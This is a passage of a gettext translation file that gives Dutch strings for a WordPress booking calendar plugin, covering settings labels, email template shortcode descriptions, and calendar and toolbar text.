core/admin/api-settings.php:2030 core/lang/wpbc_all_translations.php:189 msgid "You allow unlimited number of bookings per same dates, its can be a reason of double bookings on the same date. Do you really want to do this?" msgstr "Je laat een ongelimiteerd aantal boekingen toe op dezelfde datums. Hierdoor kunnen er dubbele boekingen ontstaan. Wil je dit echt doen?" #: core/admin/api-settings.php:2111 core/lang/wpbc_all_translations.php:191 msgid "If you check this option, all booking data will be deleted when you uninstall this plugin. Do you really want to do this?" msgstr "Als u deze optie kiest , worden alle boekingsgegevens verwijderd tijdens de de-installatie van de plugin. Wilt u dat werkelijk ?" #: core/lang/wpbc_all_translations.php:526 msgid "Type your email %ssubject%s for the booking confimation message." msgstr "Typ je email %sonderwerp%s voor de boekingsbevestiging." #: core/admin/page-email-approved.php:510 core/admin/page-email-deleted.php:508 #: core/admin/page-email-deny.php:507 core/admin/page-email-new-admin.php:489 #: core/admin/page-email-new-visitor.php:491 #: core/admin/page-email-trash.php:513 core/lang/wpbc_all_translations.php:232 msgid "For example: \"You have a new reservation %s on the following date(s): %s Contact information: %s You can approve or cancel this booking at: %s Thank you, Reservation service.\"" msgstr "Bv: \"Je hebt een nieuwe boeking %s op de volgende datum(s): %s Contactinformatie: %s Je kunt deze boeking accepteren of annuleren op: %s Bedankt, het boekingteam.\"" #: core/lang/wpbc_all_translations.php:533 msgid "Customization of email template, which is sending to Admin after new booking" msgstr "Aanpassen van emailsjablonen, die aan Admin gestuurd worden na een nieuwe boeking" #: core/admin/page-email-new-visitor.php:560 #: core/lang/wpbc_all_translations.php:264 msgid "Customization of email template, which is sending to Visitor after new booking" msgstr "Aanpassen van emailsjabloon dat na een nieuwe boeking aan de gast verzonden wordt" #: core/admin/page-settings.php:320 core/admin/page-settings.php:545 #: core/lang/wpbc_all_translations.php:415 msgid "Uninstall / deactivation" msgstr "De-installatie/deactivering" #: core/lang/wpbc_all_translations.php:663 core/wpbc-emails.php:195 msgid "You can use (in subject and content of email template) any shortcodes, which you used in the booking form. Use the shortcodes in the same way as you used them in the content form at Settings Fields page." msgstr "Je kunt elke shortcode gebruiken (in het onderwerp en de inhoud van de emailsjabloon), die je in het boekingsformulier gebruikt hebt. Gebruik de shortcodes op dezelfde manier als in het formulier op de Instellingen Velden pagina." #: core/lang/wpbc_all_translations.php:664 core/wpbc-emails.php:198 msgid "You can use following shortcodes in content of this template" msgstr "Je kunt de volgende shortcodes gebruiken in de inhoud van dit sjabloon" #: core/lang/wpbc_all_translations.php:665 core/wpbc-emails.php:202 msgid "%s - inserting data info about the booking, which you configured in the content form at Settings Fields page" msgstr "%s - invoegen van data info over de boeking, die geconfigureerd is in het inhoud-formulier op de Instellingen Velden pagina" #: core/lang/wpbc_all_translations.php:666 core/wpbc-emails.php:204 msgid "%s - inserting data info about the booking" msgstr "%s - invoegen van data info over de boeking" #: core/lang/wpbc_all_translations.php:667 core/wpbc-emails.php:209 msgid "%s - inserting the dates of booking" msgstr "%s - invoegen van de datums van de boeking" #: core/lang/wpbc_all_translations.php:668 core/wpbc-emails.php:214 msgid "%s - inserting check-in date (first day of reservation)," msgstr "%s - invoegen van aankomstdatum (eerste dag van de boeking)," #: core/lang/wpbc_all_translations.php:670 core/wpbc-emails.php:219 #: core/wpbc-emails.php:221 msgid "%s - inserting check-out date (last day of reservation)," msgstr "%s - invoegen van de vertrekdatum (laatste dag van de boeking)," #: core/lang/wpbc_all_translations.php:673 core/wpbc-emails.php:226 msgid "%s - inserting the number of booking dates " msgstr "%s - invoegen van het aantal boekingsdatums " #: core/lang/wpbc_all_translations.php:674 core/wpbc-emails.php:232 msgid "%s - inserting ID of booking " msgstr "%s - invoegen van het ID van de boeking " #: core/lang/wpbc_all_translations.php:675 core/wpbc-emails.php:237 msgid "%s or %s - inserting the title of the booking resource " msgstr "%s of %s - invoegen van de titel van het object " #: core/lang/wpbc_all_translations.php:676 core/wpbc-emails.php:245 msgid "%s - inserting the cost of booking " msgstr "%s - invoegen van de kostprijs van de boeking " #: core/lang/wpbc_all_translations.php:677 core/wpbc-emails.php:250 msgid "%s - inserting your site URL " msgstr "%s - invoegen van de URL van je site " #: core/lang/wpbc_all_translations.php:678 core/wpbc-emails.php:253 msgid "%s - inserting IP address of the user who made this action " msgstr "%s - invoegen van het IP-adres van de klant die deze actie uitvoerde " #: core/lang/wpbc_all_translations.php:679 core/wpbc-emails.php:254 msgid "%s - inserting contents of the User-Agent: header from the current request, if there is one " msgstr "%s - invoegen inhoud van User-Agent: header van het huidig verzoek, als er een is " #: core/lang/wpbc_all_translations.php:680 core/wpbc-emails.php:255 msgid "%s - inserting address of the page (if any), where visitor make this action " msgstr "%s - invoegen het adres van de pagina (indien aanwezig), waar de klant deze actie uitvoert " #: core/lang/wpbc_all_translations.php:682 core/wpbc-emails.php:259 msgid "%s - inserting date of this action " msgstr "%s - invoegen van datum van deze actie " #: core/lang/wpbc_all_translations.php:681 core/wpbc-emails.php:256 msgid "%s - inserting time of this action " msgstr "%s - invoegen van de tijd van deze actie " #: core/lang/wpbc_all_translations.php:684 core/wpbc-emails.php:281 msgid "%s - inserting moderate link of new booking " msgstr "%s - invoegen van link voor het beheren van een nieuwe boeking " #: core/lang/wpbc_all_translations.php:691 core/wpbc-emails.php:307 msgid "%s - inserting link to the page where visitor can edit the reservation, (possible to use the %s parameter for setting different %s of this page. Example: %s )" msgstr "%s - invoegen van een link naar de pagina waar de klant de boeking kan aanpassen, (mogelijk om de %s parameter te gebruiken om verschillende %s van deze pagina in te stellen. Voorbeeld: %s)" #: core/lang/wpbc_all_translations.php:692 core/wpbc-emails.php:313 msgid "%s - inserting link to the page where visitor can cancel the reservation, (possible to use the %s parameter for setting different %s of this page. Example: %s )" msgstr "%s - invoegen van link naar de pagina waar de klant de boeking kan annuleren, (mogelijk om de %s parameter te gebruiken om verschillende %s van deze pagina in te stellen. Voorbeeld: %s)" #: core/lang/wpbc_all_translations.php:693 core/wpbc-emails.php:321 msgid "%s - inserting link to payment page where visitor can pay for the reservation (possible to use the %s parameter for setting different %s of this page. Example: %s )" msgstr "%s - invoegen van link naar de pagina waar de klant de boeking kan betalen, (mogelijk om de %s parameter te gebruiken om verschillende %s van deze pagina in te stellen. Voorbeeld: %s)" #: core/lang/wpbc_all_translations.php:694 core/wpbc-emails.php:327 msgid "%s - add the reason for booking payment, you can enter it before sending email, " msgstr "%s - toevoegen van de reden van de betaling voor de boeking, u kunt het invoern vóór het verzenden van de email, " #: core/lang/wpbc_all_translations.php:695 core/wpbc-emails.php:333 msgid "%s - add the reason booking was cancelled, you can enter it before sending email, " msgstr "%s - toevoegen van reden van weigering van de boeking, u kunt het toevoegen vóór het verzenden van de email, " #: core/admin/api-settings.php:1089 core/lang/wpbc_all_translations.php:97 #: core/wpbc.php:173 core/wpbc.php:174 msgid "Bookings Listing" msgstr "Boekingslijst" #: core/admin/api-settings.php:1095 core/lang/wpbc_all_translations.php:99 msgid "Default booking admin page" msgstr "Standaard administratiepagina voor boekingen" #: core/admin/api-settings.php:1096 core/lang/wpbc_all_translations.php:100 msgid "Select your default view mode of bookings at the booking listing page" msgstr "Selecteer standaardwijze voor het weergeven van boekingen op de pagina" #: core/admin/api-settings.php:1141 core/lang/wpbc_all_translations.php:108 msgid "Select your default calendar view mode at booking calendar overview page" msgstr "Selecteer de standaard weergave van de kalender op de boekingskalender overzichtspagina" #: core/lang/wpbc_all_translations.php:625 core/sync/wpbc-gcal-class.php:665 #: core/wpbc.php:266 core/wpbc_functions.php:2021 core/wpbc_functions.php:2029 #: includes/page-resource-free/page-resource-free.php:34 #: includes/page-resource-free/page-resource-free.php:100 #: includes/_toolbar_ui/toolbar_ui.php:297 #: includes/_toolbar_ui/toolbar_ui.php:298 msgid "Resource" msgstr "Object" #: core/admin/page-email-approved.php:215 #: core/admin/page-email-approved.php:272 #: core/admin/page-email-approved.php:332 core/admin/page-email-deleted.php:215 #: core/admin/page-email-deleted.php:272 core/admin/page-email-deleted.php:333 #: core/admin/page-email-deny.php:217 core/admin/page-email-deny.php:272 #: core/admin/page-email-deny.php:333 core/admin/page-email-new-admin.php:200 #: core/admin/page-email-new-admin.php:252 #: core/admin/page-email-new-admin.php:318 #: core/admin/page-email-new-visitor.php:254 #: core/admin/page-email-new-visitor.php:314 #: core/admin/page-email-trash.php:215 core/admin/page-email-trash.php:277 #: core/admin/page-email-trash.php:338 core/lang/wpbc_all_translations.php:198 #: includes/page-form-simple/page-form-simple.php:1813 #: includes/page-form-simple/page-form-simple.php:2757 msgid "Required" msgstr "Vereist" #: core/admin/api-settings.php:1226 core/lang/wpbc_all_translations.php:123 msgid "Date Format" msgstr "Datumnotatie" #: core/admin/api-settings.php:368 core/admin/api-settings.php:462 #: core/admin/api-settings.php:535 core/admin/api-settings.php:663 #: core/admin/api-settings.php:1438 core/admin/page-ics-export.php:470 #: core/lang/wpbc_all_translations.php:41 #: core/timeline/v2/wpbc-class-timeline_v2.php:3124 #: includes/page-form-simple/page-form-simple.php:363 #: includes/page-form-simple/page-form-simple.php:622 js/wpbc-gutenberg.js:1094 msgid "Note" msgstr "Notitie" #: core/admin/wpbc-dashboard.php:372 core/lang/wpbc_all_translations.php:437 msgid "Help Info" msgstr "Hulpinfo" #: core/lang/wpbc_all_translations.php:726 #: includes/_functions/parse_booking_data.php:681 msgid "yes" msgstr "ja" #: core/lang/wpbc_all_translations1.php:32 #: includes/page-customize/customize__templates.php:1885 #: includes/page-customize/customize__templates.php:2008 #: includes/page-customize/customize__templates.php:2095 #: includes/ui_modal__shortcodes/sh_tpl_booking.php:784 #: includes/ui_modal__shortcodes/sh_tpl_booking.php:1222 msgid "Su" msgstr "Zo" #: core/lang/wpbc_all_translations1.php:29 #: includes/page-customize/customize__templates.php:1889 #: includes/page-customize/customize__templates.php:2012 #: includes/page-customize/customize__templates.php:2099 #: includes/ui_modal__shortcodes/sh_tpl_booking.php:781 #: includes/ui_modal__shortcodes/sh_tpl_booking.php:1219 msgid "Th" msgstr "Do" #: core/lang/wpbc_all_translations1.php:31 #: includes/page-customize/customize__templates.php:1891 #: includes/page-customize/customize__templates.php:2014 #: includes/page-customize/customize__templates.php:2101 #: includes/ui_modal__shortcodes/sh_tpl_booking.php:783 #: includes/ui_modal__shortcodes/sh_tpl_booking.php:1221 msgid "Sa" msgstr "Za" #: core/lang/wpbc_all_translations.php:975 msgid "Costs" msgstr "Kosten" #: core/admin/page-settings.php:90 core/admin/page-settings.php:224 #: core/admin/page-settings.php:360 core/lang/wpbc_all_translations.php:394 #: includes/page-customize/customize__page.php:81 #: includes/page-resource-free/page-resource-free.php:233 #: includes/page-setup/setup__page.php:81 msgid "Calendar" msgstr "Kalender" #: core/admin/api-settings.php:661 core/lang/wpbc_all_translations.php:66 #: includes/page-form-simple/page-form-simple.php:165 #: includes/page-form-simple/page-form-simple.php:220 #: includes/page-form-simple/page-form-simple.php:619 msgid "CAPTCHA" msgstr "CAPTCHA" #: core/lang/wpbc_all_translations.php:648 #: core/timeline/v2/wpbc-class-timeline_v2.php:3063 #: core/timeline/v2/wpbc-class-timeline_v2.php:3065 #: includes/page-bookings/bookings__sql.php:1834 msgid "Payment" msgstr "Betaling" #: core/lang/wpbc_all_translations.php:737 core/wpbc_functions.php:2125 msgid "Users" msgstr "Gebruikers" #: core/lang/wpbc_all_translations.php:627 core/sync/wpbc-gcal-class.php:668 #: core/timeline/v2/wpbc-class-timeline_v2.php:1488 #: core/timeline/v2/wpbc-class-timeline_v2.php:1501 msgid "Times" msgstr "Tijden" #: core/admin/page-ics-general.php:336 core/admin/page-ics-general.php:337 #: core/admin/page-ics-general.php:445 core/admin/page-import-gcal.php:529 #: core/admin/page-settings.php:75 core/admin/page-settings.php:76 #: core/lang/wpbc_all_translations.php:313 core/wpbc.php:253 msgid "General Settings" msgstr "Algemene instellingen" #: core/admin/wpbc-toolbars.php:900 core/lang/wpbc_all_translations.php:494 #: core/lib/wpdev-booking-widget.php:135 #: includes/ui_modal__shortcodes/sh_tpl_booking.php:331 msgid "Visible months" msgstr "Zichtbare maanden" #: core/lang/wpbc_all_translations.php:636 #: core/timeline/v2/wpbc-class-timeline_v2.php:89 #: core/timeline/v2/wpbc-class-timeline_v2.php:98 #: core/timeline/v2/wpbc-class-timeline_v2.php:107 msgid "Mon" msgstr "Maa" #: core/admin/wpbc-dashboard.php:590 core/admin/wpbc-dashboard.php:792 #: core/lang/wpbc_all_translations.php:453 msgid "Pending booking(s)" msgstr "Opties (in behandeling)" #: core/admin/wpbc-dashboard.php:595 core/lang/wpbc_all_translations.php:454 msgid "Agenda" msgstr "Agenda" #: core/admin/wpbc-dashboard.php:512 core/lang/wpbc_all_translations.php:443 msgid "Current version" msgstr "Huidige versie" #: core/admin/wpbc-dashboard.php:521 core/lang/wpbc_all_translations.php:445 msgid "Version" msgstr "Versie" #: core/admin/wpbc-dashboard.php:537 core/lang/wpbc_all_translations.php:447 msgid "Used for" msgstr "Gebruik voor" #: core/admin/wpbc-dashboard.php:544 core/lang/wpbc_all_translations.php:448 msgid "Release date" msgstr "Verschijningsdatum" #: core/admin/wpbc-dashboard.php:555 core/lang/wpbc_all_translations.php:449 msgid "Check Premium Features" msgstr "Bekijk Premium functies" #: core/admin/page-up.php:38 core/admin/wpbc-dashboard.php:557 #: core/lang/wpbc_all_translations.php:432 msgid "Upgrade" msgstr "Upgrade" #: core/admin/wpbc-dashboard.php:357 core/lang/wpbc_all_translations.php:435 msgid "Support" msgstr "Ondersteuning" #: core/admin/wpbc-dashboard.php:378 core/lang/wpbc_all_translations.php:439 msgid "Contact email" msgstr "Contact email" #: core/admin/wpbc-dashboard.php:381 core/lang/wpbc_all_translations.php:440 msgid "Rate plugin (thanks:)" msgstr "Beoordeel deze plugin ( dank u:)" #: core/admin/api-settings.php:1714 core/lang/wpbc_all_translations.php:176 #: core/wpbc.php:252 core/wpbc.php:254 core/wpbc.php:469 #: core/wpbc_functions.php:2062 msgid "Settings" msgstr "Instellingen" #: core/admin/page-ics-general.php:335 core/admin/page-settings.php:74 #: core/lang/wpbc_all_translations.php:312 core/wpbc_functions.php:2072 msgid "General" msgstr "Algemeen" #: core/lang/wpbc_all_translations.php:534 #: includes/page-form-simple/page-form-simple.php:60 msgid "Fields Settings" msgstr "Instellingen voor velden" #: core/admin/page-email-new-admin.php:543 #: core/lang/wpbc_all_translations.php:257 core/wpbc_functions.php:2088 #: includes/page-customize/customize__page.php:119 #: includes/page-setup/setup__page.php:119 msgid "Emails" msgstr "Emails" #: core/lang/wpbc_all_translations2.php:133 #: includes/page-customize/customize__page.php:138 #: includes/page-setup/setup__page.php:138 msgid "Payments" msgstr "Betalingen" #: core/lang/wpbc_all_translations.php:854 msgid "Search Settings" msgstr "Instellingen voor zoekfunctie" #: core/lang/wpbc_all_translations1.php:157 msgid "Users Settings" msgstr "Instellingen voor gebruikers" #: core/lang/wpbc_all_translations.php:600 core/lib/wpdev-booking-class.php:202 #: includes/page-availability/availability__class.php:200 #: includes/page-availability/availability__page.php:295 #: includes/page-customize/customize__templates.php:182 msgid "Calendar is loading..." msgstr "Kalender word geladen......" #: core/admin/api-settings.php:243 core/lang/wpbc_all_translations.php:30 #: core/wpbc-activation.php:1198 #: includes/page-availability/availability__toolbar_ui.php:155 #: includes/page-customize/customize__templates.php:2282 msgid "Available" msgstr "Beschikbaar" #: core/lang/wpbc_all_translations.php:651 core/wpbc-activation.php:632 msgid "%s Finish getting sort dates. %s" msgstr "%s Klaar met gesorteerde datums. %s" #: core/lang/wpbc_all_translations.php:727 #: includes/_functions/parse_booking_data.php:685 msgid "no" msgstr "nee" #: core/lang/wpbc_all_translations.php:613 #: core/lib/wpdev-booking-widget.php:150 msgid "Footer" msgstr "Footer" #: core/admin/page-settings.php:106 core/lang/wpbc_all_translations.php:396 msgid "Form" msgstr "Formulier" #: core/admin/page-ics-general.php:461 core/admin/page-ics-general.php:468 #: core/admin/page-settings.php:139 core/admin/page-settings.php:315 #: core/admin/page-settings.php:515 core/lang/wpbc_all_translations.php:315 #: includes/ui_modal__shortcodes/sh_tpl_booking.php:247 #: includes/ui_modal__shortcodes/sh_tpl_booking_calendar.php:116 #: includes/ui_modal__shortcodes/sh_tpl_booking_import.php:127 #: includes/ui_modal__shortcodes/sh_tpl_booking_listing.php:121 #: includes/ui_modal__shortcodes/sh_tpl_booking_select.php:219 #: includes/ui_modal__shortcodes/sh_tpl_booking_timeline.php:120 msgid "Advanced" msgstr "Geavanceerd" #: core/admin/page-settings.php:149 core/lang/wpbc_all_translations.php:403 msgid "Uninstall" msgstr "De-installatie" #: core/admin/api-settings.php:70 core/lang/wpbc_all_translations.php:2 #: includes/page-customize/customize__ajax_request.php:326 #: includes/page-customize/customize__ajax_request.php:477 #: includes/page-customize/customize__templates.php:577 #: includes/page-form-simple/templates_form_simple.php:70 msgid "Calendar Skin" msgstr "Kalender uiterlijk" #: core/admin/api-settings.php:98 core/lang/wpbc_all_translations.php:7 msgid "Select the maximum number of months to show (scroll)" msgstr "Selecteer het maximum aantal maanden dat zichtbaar moet zijn (scroll)" #: core/admin/api-settings.php:109 core/lang/wpbc_all_translations.php:8 #: includes/page-customize/customize__templates.php:2730 msgid "Start Day of the week" msgstr "Eerste dag van de week" #: core/admin/api-settings.php:110 core/lang/wpbc_all_translations.php:9 msgid "Select your start day of the week" msgstr "Selecteer eerste dag van de week" #: core/admin/api-settings.php:606 core/lang/wpbc_all_translations.php:59 #: includes/page-customize/customize__templates.php:2171 msgid "Unavailable days from today" msgstr "Niet beschikbare dagen vanaf vandaag" #: core/admin/api-settings.php:607 core/lang/wpbc_all_translations.php:60 msgid "Select number of unavailable days in calendar start from today." msgstr "Selecteer het aantal niet beschikbare dagen in de kalender vanaf vandaag." #: core/admin/api-settings.php:558 core/lang/wpbc_all_translations.php:57 #: includes/page-customize/customize__templates.php:769 msgid "Unavailable week days" msgstr "Niet beschikbare weekdagen" #: core/admin/api-settings.php:130 core/lang/wpbc_all_translations.php:17 #: includes/page-customize/customize__templates.php:1538 msgid "Single day" msgstr "Enkele dag" #: core/lang/wpbc_all_translations1.php:67 msgid "Range days" msgstr "Reeks dagen" #: core/admin/api-settings.php:670 core/lang/wpbc_all_translations.php:69 #: includes/page-form-simple/page-form-simple.php:644 msgid "Auto-fill fields" msgstr "Auto-invullen velden" #: core/admin/api-settings.php:1528 core/lang/wpbc_all_translations.php:152 msgid "Use CSS BootStrap" msgstr "Gebruik BootStrap CSS" #: core/admin/api-settings.php:1529 core/lang/wpbc_all_translations.php:153 msgid "Using BootStrap CSS for the form fields" msgstr "Gebruik BootStrap CSS voor het formulierveld" #: core/lang/wpbc_all_translations.php:519 msgid "You must not deactivate loading BootStrap files at advanced section of these settings!" msgstr "Het laden van BootStrap-bestanden niet deactiveren in de geavanceerde sectie van deze instellingen!" #: core/admin/api-settings.php:821 core/lang/wpbc_all_translations.php:86 msgid "Message title" msgstr "Berichttitel" #: core/lang/wpbc_all_translations.php:528 #: includes/page-bookings/bookings__listing.php:120 #: includes/page-form-simple/generator-timeslots.php:779 #: includes/page-form-simple/page-form-simple.php:1815 #: includes/page-resource-free/page-resource-free.php:316 #: includes/_toolbar_ui/toolbar_ui.php:69 msgid "Actions" msgstr "Acties" #: core/lang/wpbc_all_translations.php:645 #: core/timeline/v2/wpbc-class-timeline_v2.php:2969 #: includes/_toolbar_ui/toolbar_ui.php:1858 msgid "Delete" msgstr "Verwijderen" #: core/lang/wpbc_all_translations1.php:161 #: includes/_toolbar_ui/toolbar_ui.php:774 msgid "Status" msgstr "Status" #: core/admin/wpbc-toolbars.php:333 core/admin/wpbc-toolbars.php:1555 #: core/lang/wpbc_all_translations.php:466 msgid "Go" msgstr "Ga" #: core/lang/wpbc_all_translations2.php:110 #: includes/page-bookings/bookings__listing.php:120 msgid "Labels" msgstr "Labels" #: core/admin/api-settings.php:280 core/admin/page-email-deny.php:579 #: core/lang/wpbc_all_translations.php:33 #: core/timeline/v2/wpbc-class-timeline_v2.php:2978 #: core/timeline/v2/wpbc-class-timeline_v2.php:3031 #: core/wpbc-activation.php:1202 #: includes/page-bookings/bookings__actions.php:3082 #: includes/page-bookings/bookings__listing.php:241 #: includes/_toolbar_ui/toolbar_ui.php:777 #: includes/_toolbar_ui/toolbar_ui.php:1744 msgid "Pending" msgstr "In behandeling" #: core/lang/wpbc_all_translations1.php:119 #: includes/page-bookings/bookings__sql.php:1817 msgid "Unknown" msgstr "Onbekend" #: core/lang/wpbc_all_translations.php:649 #: core/timeline/v2/wpbc-class-timeline_v2.php:3153 #: includes/page-bookings/bookings__listing.php:441 msgid "Created" msgstr "Gemaakt" #: core/lang/wpbc_all_translations1.php:118 #: includes/_toolbar_ui/toolbar_ui.php:1477 msgid "Paid OK" msgstr "Betaling OK" #: core/admin/wpbc-toolbars.php:367 core/lang/wpbc_all_translations.php:467 msgid "Technical Support" msgstr "Technische ondersteuning" #: core/lang/wpbc_all_translations1.php:973 #: includes/_toolbar_ui/toolbar_ui.php:785 #: includes/_toolbar_ui/toolbar_ui.php:1149 #: includes/_toolbar_ui/toolbar_ui.php:1194 msgid "Any" msgstr "Elke" #: core/admin/api-settings.php:1730 core/lang/wpbc_all_translations.php:180 #: core/lib/wpdev-booking-widget.php:104 #: includes/ui_modal__shortcodes/sh_tpl_booking_other.php:90 #: js/wpbc-gutenberg.js:1533 msgid "Show" msgstr "Toon" #: core/lang/wpbc_all_translations1.php:998 #: includes/_toolbar_ui/toolbar_ui.php:1914 msgid "Read All" msgstr "Alles lezen" #: core/lang/wpbc_all_translations2.php:3 #: includes/_toolbar_ui/toolbar_ui.php:1950 msgid "Read" msgstr "Gelezen" #: core/lang/wpbc_all_translations2.php:5 #: includes/_toolbar_ui/toolbar_ui.php:1986 msgid "Unread" msgstr "Niet gelezen" #: core/lang/wpbc_all_translations.php:739 core/wpbc_functions.php:2222 #: includes/_pagination/pagination.php:159 msgid "Prev" msgstr "Vorige" #: core/admin/api-settings.php:1126 core/admin/api-settings.php:1133 #: core/admin/wpbc-toolbars.php:492 core/admin/wpbc-toolbars.php:546 #: core/lang/wpbc_all_translations.php:103 #: core/timeline/v2/wpbc-class-timeline_v2.php:2841 #: core/timeline/v2/wpbc-class-timeline_v2.php:2860 #: includes/ui_modal__shortcodes/sh_tpl_booking_timeline.php:148 msgid "Month" msgstr "Maand" #: core/admin/api-settings.php:1128 core/admin/api-settings.php:1134 #: core/lang/wpbc_all_translations.php:105 #: includes/ui_modal__shortcodes/sh_tpl_booking_timeline.php:152 msgid "3 Months" msgstr "3 maanden" #: core/admin/wpbc-toolbars.php:459 core/admin/wpbc-toolbars.php:519 #: core/lang/wpbc_all_translations.php:470 msgid "Show day" msgstr "Toon dag" #: core/admin/api-settings.php:1124 core/admin/wpbc-toolbars.php:458 #: core/admin/wpbc-toolbars.php:518 core/lang/wpbc_all_translations.php:101 #: core/timeline/v2/wpbc-class-timeline_v2.php:2833 #: core/timeline/v2/wpbc-class-timeline_v2.php:2852 #: includes/ui_modal__shortcodes/sh_tpl_booking_timeline.php:145 msgid "Day" msgstr "Dag" #: core/admin/wpbc-toolbars.php:476 core/admin/wpbc-toolbars.php:533 #: core/lang/wpbc_all_translations.php:471 msgid "Show week" msgstr "Toon week" #: core/admin/api-settings.php:1125 core/admin/wpbc-toolbars.php:475 #: core/admin/wpbc-toolbars.php:532 core/lang/wpbc_all_translations.php:102 #: core/timeline/v2/wpbc-class-timeline_v2.php:2837 #: core/timeline/v2/wpbc-class-timeline_v2.php:2856 #: includes/ui_modal__shortcodes/sh_tpl_booking_timeline.php:146 msgid "Week" msgstr "Week" #: core/admin/wpbc-toolbars.php:618 core/admin/wpbc-toolbars.php:687 #: core/lang/wpbc_all_translations.php:474 msgid "Previous 4 weeks" msgstr "Afgelopen 4 weken" #: core/admin/wpbc-toolbars.php:619 core/admin/wpbc-toolbars.php:688 #: core/lang/wpbc_all_translations.php:475 msgid "Previous week" msgstr "Afgelopen week" #: core/admin/wpbc-toolbars.php:620 core/admin/wpbc-toolbars.php:642 #: core/admin/wpbc-toolbars.php:689 core/lang/wpbc_all_translations.php:476 msgid "Current week" msgstr "Huidige week" #: core/admin/wpbc-toolbars.php:621 core/admin/wpbc-toolbars.php:690 #: core/lang/wpbc_all_translations.php:477 msgid "Next week" msgstr "Volgende week" #: core/admin/wpbc-toolbars.php:622 core/admin/wpbc-toolbars.php:691 #: core/lang/wpbc_all_translations.php:478 msgid "Next 4 weeks" msgstr "Volgende 4 weken" #: core/admin/wpbc-toolbars.php:654 core/admin/wpbc-toolbars.php:704 #: core/admin/wpbc-toolbars.php:719 core/lang/wpbc_all_translations.php:481 msgid "Previous 3 months" msgstr "Afgelopen 3 maanden" #: core/admin/wpbc-toolbars.php:655 core/admin/wpbc-toolbars.php:705 #: core/admin/wpbc-toolbars.php:720 core/lang/wpbc_all_translations.php:482 msgid "Previous month" msgstr "Afgelopen maand" #: core/admin/wpbc-toolbars.php:656 core/admin/wpbc-toolbars.php:706 #: core/admin/wpbc-toolbars.php:721 core/lang/wpbc_all_translations.php:483 msgid "Current month" msgstr "Huidige maand" #: core/admin/wpbc-toolbars.php:657 core/admin/wpbc-toolbars.php:707 #: core/admin/wpbc-toolbars.php:722 core/lang/wpbc_all_translations.php:484 msgid "Next month" msgstr "Volgende maand" #: core/admin/wpbc-toolbars.php:658 core/admin/wpbc-toolbars.php:708 #: core/admin/wpbc-toolbars.php:723 core/lang/wpbc_all_translations.php:485 msgid "Next 3 months" msgstr "Volgende 3 maanden" #: core/admin/wpbc-toolbars.php:672 core/lang/wpbc_all_translations.php:486 msgid "Previous 7 days" msgstr "Afgelopen 7 dagen" #: core/admin/wpbc-toolbars.php:673 core/lang/wpbc_all_translations.php:487 msgid "Previous day" msgstr "Vorige dag" #: core/admin/wpbc-toolbars.php:674 core/lang/wpbc_all_translations.php:488 msgid "Current day" msgstr "Huidige dag" #: core/admin/wpbc-toolbars.php:675 core/lang/wpbc_all_translations.php:489 msgid "Next day" msgstr "Volgende dag" #: core/admin/wpbc-toolbars.php:676 core/lang/wpbc_all_translations.php:490 msgid "Next 7 days" msgstr "Volgende 7 dagen" #: core/lang/wpbc_all_translations1.php:313 msgid "fields" msgstr "velden" #: core/lang/wpbc_all_translations1.php:948 #: includes/_toolbar_ui/toolbar_ui.php:47 msgid "Filters" msgstr "Filters" #: core/lang/wpbc_all_translations.php:878 msgid "Nothing found." msgstr "Niets gevonden." #: core/lang/wpbc_all_translations2.php:92 #: includes/page-bookings/bookings__actions.php:2821 msgid "Default Locale" msgstr "Standaard taal" #: core/admin/api-settings.php:71 core/lang/wpbc_all_translations.php:3 #: includes/page-customize/customize__templates.php:593 msgid "Select the skin of the booking calendar" msgstr "Selecteer het uiterlijk van de boekingskalender" #: core/admin/api-settings.php:90 core/admin/api-settings.php:91 #: core/lang/wpbc_all_translations.php:4 #: includes/page-customize/customize__templates.php:2676 msgid "month(s)" msgstr "maand(en)" #: core/admin/api-settings.php:92 core/lang/wpbc_all_translations.php:5 #: includes/page-customize/customize__templates.php:2677 msgid "year(s)" msgstr "ja(a)r(en)" #: core/admin/api-settings.php:112 core/admin/api-settings.php:563 #: core/lang/wpbc_all_translations.php:10 #: core/timeline/v2/wpbc-class-timeline_v2.php:86 #: includes/page-customize/customize__templates.php:2737 msgid "Sunday" msgstr "zondag" #: core/admin/api-settings.php:115 core/admin/api-settings.php:572 #: core/lang/wpbc_all_translations.php:13 #: core/timeline/v2/wpbc-class-timeline_v2.php:82 #: includes/page-customize/customize__templates.php:2740 msgid "Wednesday" msgstr "woensdag" #: core/admin/api-settings.php:116 core/admin/api-settings.php:575 #: core/lang/wpbc_all_translations.php:14 #: core/timeline/v2/wpbc-class-timeline_v2.php:83 #: includes/page-customize/customize__templates.php:2741 msgid "Thursday" msgstr "donderdag" #: core/admin/api-settings.php:117 core/admin/api-settings.php:578 #: core/lang/wpbc_all_translations.php:15 #: core/timeline/v2/wpbc-class-timeline_v2.php:84 #: includes/page-customize/customize__templates.php:2742 msgid "Friday" msgstr "vrijdag" #: core/admin/api-settings.php:118 core/admin/api-settings.php:581 #: core/lang/wpbc_all_translations.php:16 #: core/timeline/v2/wpbc-class-timeline_v2.php:85 #: includes/page-customize/customize__templates.php:2743 msgid "Saturday" msgstr "zaterdag" #: core/admin/api-settings.php:136 core/lang/wpbc_all_translations.php:18 #: includes/page-customize/customize__templates.php:1560 msgid "Multiple days" msgstr "Meerdere dagen" #: core/admin/api-settings.php:588 core/lang/wpbc_all_translations.php:58 #: includes/page-customize/customize__templates.php:2090 msgid "Check unavailable days in calendars. This option will overwrite all other settings." msgstr "Geef niet-beschikbare dagen aan in de kalenders. Deze optie overschrijft alle andere instellingen." #: core/admin/api-settings.php:662 core/lang/wpbc_all_translations.php:67 #: includes/page-form-simple/page-form-simple.php:620 msgid "Check the box to activate CAPTCHA inside the booking form." msgstr "Vink aan om CAPTCHA te activeren in het boekingsformulier." #: core/admin/api-settings.php:671 core/lang/wpbc_all_translations.php:70 #: includes/page-form-simple/page-form-simple.php:645 msgid "Check the box to activate auto-fill form fields for logged in users." msgstr "Vink aan om boekingsformulieren automatisch te vullen bij ingelogde gebruikers." #: core/admin/api-settings.php:317 core/lang/wpbc_all_translations.php:36 #: core/wpbc-activation.php:1206 msgid "Booked" msgstr "Geboekt" #: core/admin/api-settings.php:357 core/lang/wpbc_all_translations.php:39 #: core/lib/wpbc-calendar-legend.php:145 core/wpbc-activation.php:1217 msgid "Partially booked" msgstr "Gedeeltelijk geboekt" #: core/lang/wpbc_all_translations.php:521 msgid "Type title of message %safter booking has done by user%s" msgstr "Typ de titel van het bericht %snadat de boeking door de klant is gedaan%s" #: core/admin/api-settings.php:1654 core/lang/wpbc_all_translations.php:170 #: 